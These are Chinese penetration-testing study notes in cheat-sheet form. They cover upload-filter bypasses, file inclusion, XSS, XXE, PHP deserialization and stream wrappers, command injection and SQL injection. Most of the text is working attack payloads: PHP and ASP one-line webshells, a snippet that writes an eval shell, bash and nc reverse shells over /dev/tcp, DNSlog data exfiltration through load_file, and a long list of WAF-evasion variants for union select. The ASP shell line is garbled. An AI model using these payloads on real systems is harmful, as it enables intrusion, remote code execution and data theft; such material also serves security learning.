一些简单的渗透学习笔记

文件上传绕过:

.asp绕过:

aspx,ashx,ascx,cer,cdx,idc,ida,idq,inc,shtml,stm

(IIS解析漏洞)

在XX.asp文件夹中,IIS会把文件夹中所有内容当作asp来解析

.jsp绕过:

jsp,jspx,java,class,jar,war

PHP绕过:

0e绕过:

a=QNKCDZO&b=240610708

数组绕过:

?a[]=1&b[]=2
在强比较=== 中
 ffifdyop 字符串经过MD5加密后为276f722736c95d99e921722cf9ed621c
 在转换成字符串为’or’6乱码
 ​
 Select * from ’admin’ where password=‘or’6乱码
 相当于万能密码

PHP空格绕过:

%20 %09

$IFS$ {IFS}

{cat,flag}

PHP禁用绕过:

php4,phtml,phphpp,Php

php5 php3 php2

phpt pht wphp

inc/.txt 将PHP代码保存在.inc或.txt文件中,使用.htaccess将这些文件的MIME类型设置为application/x-httpd-php,将它们伪装成有效的PHP文件。

大小写绕过:

更改大小写(这个基本上遇不到了)

content-type绕过:

1.添加特殊字符:

Content-Type: image/jpeg; php

2.修改文件后缀:

需要文件包含才能执行

3.欺骗MIME类型:

修改Content-Type头的值为"image/jpeg"

4.空字节攻击

Content-Type: image/jpeg%00.php

5.Content-Type注入:

在文件名后面添加;Content-Type: image/jpeg

6.content-Dispositon绕过:

通过伪造Content-Disposition,来欺骗服务器以为上传的是合法类型的文件,绕过黑名单验证。

Content-Disposition: attachment; filename="malware.PDF

::$DATA绕过:

文件名+::$DATA

文件上传的html代码:

<body>

&nbsp; &nbsp; <form action="上传接口URL" method="post" enctype="multipart/form-data">

&nbsp; &nbsp; <input type="file" name="file" />

&nbsp; &nbsp; <input type="submit" value="upload" />

&nbsp; &nbsp; </form>

</body>

文件包含:

本地文件包含:

通过报错或者其他途径找到当前目录的路径,通过../进行跨目录,进行读取。可以结合上传接口,进行webshell读取

远程文件包含:

通过报错或者其他途径找到当前目录的路径,可以远程包含http网站,也可以上传一个txt执行写入shell:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>

XSS测试语句

<script>alert(1)</script>

'><img src="#" onerror="alert(1)"/>

' onclick="alert('xss')'>

伪协议,一般用在href中:

JavaScript:alert(/xss/)

XXE外部实体注入漏洞

原理:服务器接受和解析了来自客户端的xml数据,但是没有做严格的安全控制,从而导致xml外部实体注入。

定义:

1.文档类型定义(Document Type Definition,DTD),XML的布局语言

2.可扩展的样式语言(Extensible Style Language,XSL),XML的样式表语言

3.可扩展链接语言(Extensible Link Language ,XLL)

XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标况电子文件使其具有结构性的标况语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义,需要自行定义标签。

XML:

xml文档结构包括xml声明、DTD文档类型定义(可选)、文档元素

DTD(文档类型定义)用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

DTD内部:

DTD外部:

DTD声明元素:

<!ELEMENT 元素名称 类别>
类别:EMPTY,(#PCDATA),(#CDDATA),ANY
PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDDATA:不会被解析器解析的文本。
<!ELEMENT 元素名称 (元素内容)>
多个元素内容:(子元素名称 1,子元素名称 2,……)
元素内容次数:默认只出现一次。
最少出现一个:(子元素名称+)
出现0次或多次:(子元素名称*)
出现0次或1次:(子元素名称?)
或:(message|body)
混合类别和元素内容:
<!ELEMENT note (#PCDATA|to|from|header|message)*>

DTD声明属性:

基本格式:<!ATTLIST 元素名称 属性名称 属性类型 默认值>

属性:
CDATA 值为字符数据 (character data)
(en1|en2|…) 此值是枚举列表中的一个值
ID 值为唯一的 id
IDREF 值为另外一个元素的 id
IDREFS 值为其他 id 的列表
NMTOKEN 值为合法的 XML 名称
NMTOKENS 值为合法的 XML 名称的列表
ENTITY 值是一个实体
ENTITIES 值是一个实体列表
NOTATION 此值是符号的名称
xml: 值是一个**预定义的 XML 值
默认值:
值 属性的默认值
#REQUIRED 属性值是必需的
#IMPLIED 属性不是必需的
#FIXED value 属性值是固定的

DTD声明实体:

命名实体(内部实体):<!ENTITY 实体名称 "实体的值">
外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
参数实体:<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)

PHP反序列化:

序列化:把一个对象转换为字符串流的形式

反序列化:把字符串流转换为对象的形式

反序列化漏洞:没有对用户的输入进行过滤,分为无类和有类:

无类:可以控制反序列化过程,执行SQL注入、目录遍历等操作

有类:有可能触发对象中的一些魔术方法

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

O:代表object
1:代表对象长度
"S":代表对象名称
1:代表该对象中变量个数
s:变量数据类型
4:代表变量名长度
"test":代表变量名
s:代表数据类型
29:代表变量值长度
"<script>alert('xss')</script>":代表变量值,同时也是注入点
布尔型(bool):b
整数型(int):i
字符串型(str):s
数组型(array):a
对象型(object):O
NULL型:N

魔术方法(触发):

(前提:有可利用的类)

__construct()		//创建对象时触发
__destruct()		//对象销毁时触发
__call()	//在对象中调用不可访问的方法时触发
__callStatic()	//在静态中调用不可访问的方法时触发
__get()		//用于从不可访问的属性读取数据
__set()		//用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用isset()empty()触发
__unset()	//在不不可访问的属性上使用unset()触发
__invoke()	//当脚本尝试将对象调用为函数时触发
__wakeup()	//执行unserialize()时,先会调用这个函数
__sleep()	//执行serialize()时,先会调用这个函数

PHP伪协议:

include()远程文件包含:

如果文件是非php文件,则依旧使用php语法解析

file://协议

1.file://[文件的绝对路径和文件名]

2.[文件的相对路径和文件名]

3.[http://网络路径和文件名]

php://协议

php://input执行php

php://input + [POST DATA]
<?php system('ls')?>

php://filter读取源码

php://filter/read=convert.base64-encode/resource=[文件名]

zip:// bzip2:// zlib://协议

1.zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data://协议

1.data://text/plain,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

日志注入:

日志路径:/var/log/nginx/access.log

注入一句话木马:

<?php @eval($_POST['a']);?>
<?php assert($_POST[g]);?>
phpinfo();
但g=system('xxx');却不能执行(没有disable_functions)

RCE命令:

| 直接执行后面的语句

例如:ping 127.0.0.1|whoami

||如果前面执行的语句出错,则执行后面的语句,

例如:ping 127.0.0.1||whoami

&上一个语句执行结束执行下一个语句,无论有没有错误

例如:ping 127.0.0.1&whoami

&&上一个语句执行结束执行下一个语句,如果上一个指令出错,则不执行下一个指令

eval()命令执行:

<?php
highlight_file(__FILE__);       
$arg = $_REQUEST['value'];
eval($arg);
?>

其中,value为输入参数

可调用php的函数,例如phpinfo();

system(“whoami”);

函数必须带有分号,不如会报错

反弹shell,查询等命令:

NC反弹shell:
nc -lvvp 端口  
bash -i>& /dev/tcp/ip/端口 0>&1 (可以用base64编码绕过)

正向:
nc -lvvp 端口 -e /bin/bash

攻击:nc ip 端口

curl,whois,python,php,ruby,socat



find:-name根据文件名精确查找,*粗略查找,?单个任意字符

-atime +天数   -amin +分钟 -mtime修改时间

SQL部分:

数字型:

?id=1 or 1=1#
字符型:

?name=ab' or 1=1#
搜索型:'%关键字%'

?name=abc%' or 1=1#
xx型:

?name=123') and 1=1#

insert/update型:(注意表单长度)

usename=123','456','789',SQL语句)#
布尔盲注:

?id=1' and (length(database()))>7#

? id=1' and ascii(substr(database(),1,1))>100#

substr((),1,1)第一个1指的是从第一个字符开始,第二个1指的所选取的长度
时间盲注:

?name=abc' and sleep(5)#
## 宽字节盲注:

?name=abc %df' and 1=1#

(回显注入需要注意长度,且有时候只能在burp中实现)

DNSlog注入:

利用loadfile函数:

and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))--+

and (select load_file(concat('\\\\',(select database()),'.d7d27f.dnslog.cn\\xxx.txt')))

函数条件:

load_file()
读写权限
windows(UNC路径)

and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/

SQLmap:

-u "URL"

-l 文件名.txt

--dbs 数据库 -D 数据库名

--tables 表 -T 表名

-columns 列 -C 列名

--dump 获取并输出列内容

--batch 自动化选项,用于默认执行所有操作

手注(hackbar):

获取所有数据库

union select 1,group_concat(schema_name),3 from information_schema.schemata

获取所有表

union select group_concat(table_name) from information_schema.tables where table_schema=database()		AND table_name="表名"

获取所有列

union select group_concat(column_name) from information_schema.columns where table_schema=database()	

获取指定数据库指定表的列内容

union select 1,group_concat(target_column),3 from target_database.target_table

sqlmap空格绕过:

python sqlmap.py --random-agent -l zzz.txt --tamper space2comment -D 数据库名 -T 表名 --dump

mysql空格绕过:

%20 %09 %0a %0b %0c %0d %a0 %00

/**/		()

逗号绕过:

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C);

union select绕过:

/*!%55NiOn*/ /*!%53eLEct*/

%55nion(%53elect 1,2,3)-- -

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

/**/UNION/**//*!50000SELECT*//**/

/*!50000UniON SeLeCt*/

union /*!50000%53elect*/

+#uNiOn+#sEleCt

+#1q%0AuNiOn all#qa%0A#%0AsEleCt

/*!%55NiOn*/ /*!%53eLEct*/

/*!u%6eion*/ /*!se%6cect*/

+un/**/ion+se/**/lect

uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

REVERSE(noinu)+REVERSE(tceles)

/*--*/union/*--*/select/*--*/

union (/*!/**/ SeleCT */ 1,2,3)

/*!union*/+/*!select*/

union+/*!select*/

/**/union/**/select/**/
 
/**/uNIon/**/sEleCt/**/

/**//*!union*//**//*!select*//**/
 
/*!uNIOn*/ /*!SelECt*/

+union+distinct+select+

+union+distinctROW+select+

+UnIOn%0d%0aSeleCt%0d%0a

UNION/*&test=1*/SELECT/*&pwn=2*/

un?+un/**/ion+se/**/lect+

+UNunionION+SEselectLECT+

+uni%0bon+se%0blect+

%252f%252a*/union%252f%252a /select%252f%252a*/

/%2A%2A/union/%2A%2A/select/%2A%2A/

%2f**%2funion%2f**%2fselect%2f**%2f

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

/*!UnIoN*/SeLecT+

 82 ##
 83 #
 84 #
 85 #Union Select by PASS with Url Encoded Method:

%55nion(%53elect)

union%20distinct%20select

union%20%64istinctRO%57%20select

union%2053elect

%23?%0auion%20?%23?%0aselect

%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

%55nion %53eLEct

u%6eion se%6cect

unio%6e %73elect

unio%6e%20%64istinc%74%20%73elect

uni%6fn distinct%52OW s%65lect

%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

一句话木马(一般用冰蝎或CS):

asp:

┼攠數畣整爠煥敵瑳∨≡┩愾 			密码a

php:

<?php @eval($_POST['a']);?>
<?php assert($_POST[g]);?>